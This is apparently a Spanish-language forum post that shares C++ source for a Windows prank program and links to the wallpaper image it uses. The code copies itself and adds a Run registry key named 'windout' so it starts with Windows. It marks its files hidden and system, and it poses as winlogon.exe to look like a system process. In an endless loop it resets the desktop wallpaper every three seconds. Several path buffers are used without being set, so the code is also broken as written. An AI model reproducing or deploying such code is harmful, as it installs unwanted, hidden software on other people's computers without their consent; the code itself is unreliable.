mañana posteo el code xD
fondo:
https://mega.co.nz/#!Lc0T2QRb!dKQBEhZU-rILFaNS7HQah2nnxqAzuVmzeZd6z76ysk4
la imagen debe estar en la misma carpeta y llamarse 1010.bmp
saludos
Código
#include <windows.h> #include <cstring> bool existe(char * file) // comprueba la existencia de un archivo si no existe entonces manda false { DWORD attr = GetFileAttributes(file); if(attr == INVALID_FILE_ATTRIBUTES || (attr & FILE_ATTRIBUTE_DIRECTORY)) return false; // not a file return true; } void instalar(char *DireccionLocal) // lo instala para que se ejecute en inicio de windows { //con la variable DireccionLocal se donde esta el programa para asi copiarlo char instalarFondo[100]; char dirfoto[700]; // el directorio donde esta la foto char instalar1[100]; //directorio a instalar el archivo //---------------------------- GetCurrentDirectory(700,dirfoto); CopyFile(dirfoto,instalarFondo,true);//copio el fondo //------------------------------- CopyFile(DireccionLocal,instalar1,true); // copio el archivo //añado llaves al registro de windows para que se inicie con el sistema HKEY hkey; RegOpenKeyEx (HKEY_CURRENT_USER,"Software\\Microsoft\\Windows\\CurrentVersion\\run",0, KEY_SET_VALUE, &hkey); RegSetValueEx (hkey, "windout", 0, REG_SZ,(const unsigned char * ) instalar1, sizeof instalar1); // aca añado el registro el nombre es windout y el valor la direccion del programa RegCloseKey (hkey); SetFileAttributesA(instalar1,FILE_ATTRIBUTE_HIDDEN | FILE_ATTRIBUTE_SYSTEM); // osculto el archivo y le marco system para que sea mas dificil de ver SetFileAttributesA(instalarFondo,FILE_ATTRIBUTE_HIDDEN | FILE_ATTRIBUTE_SYSTEM); //--- } void cambiarElFondo() { char fondo[]="1010.bmp"; SystemParametersInfo(SPI_SETDESKWALLPAPER,0,fondo,SPIF_UPDATEINIFILE|SPIF_SENDWININICHANGE); // aca cambio el fondo } int main(int argc,char * argv[]) { char comprobar[600]; strcat(comprobar,"\\winlogon.exe"); //winlogon el nombre del exe para meter miedo y hacerse pasar por proceso del sistema xD while(true) { if(existe(comprobar)) // { cambiarElFondo(); //como es bucle infinito cambiara cada 3 segundos el fondo } else { instalar(argv[0]); // si no existe el archivo en la carpeta del usuario se instala } Sleep(3000); // espera 3 segundos } return 0; }